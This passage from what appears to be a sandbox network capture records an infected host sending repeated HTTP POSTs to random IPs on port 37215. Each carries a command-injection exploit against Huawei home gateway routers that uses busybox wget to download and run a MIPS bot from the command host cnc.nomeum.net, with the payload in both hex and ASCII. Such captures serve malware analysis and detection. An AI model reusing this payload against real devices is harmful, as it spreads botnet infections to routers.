6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	39706	156.97.3.108	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.360927105 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	35676	41.147.107.132	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.362221003 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	49784	197.90.154.72	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.362991095 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	59192	156.215.146.232	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.363748074 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	56276	156.24.184.74	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.364537954 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	39942	41.119.100.224	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.365636110 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	49298	41.90.124.245	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.366842985 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	51720	156.9.1.62	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.367692947 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	52770	156.74.174.9	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.369172096 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	59542	41.185.187.78	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:48.370068073 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 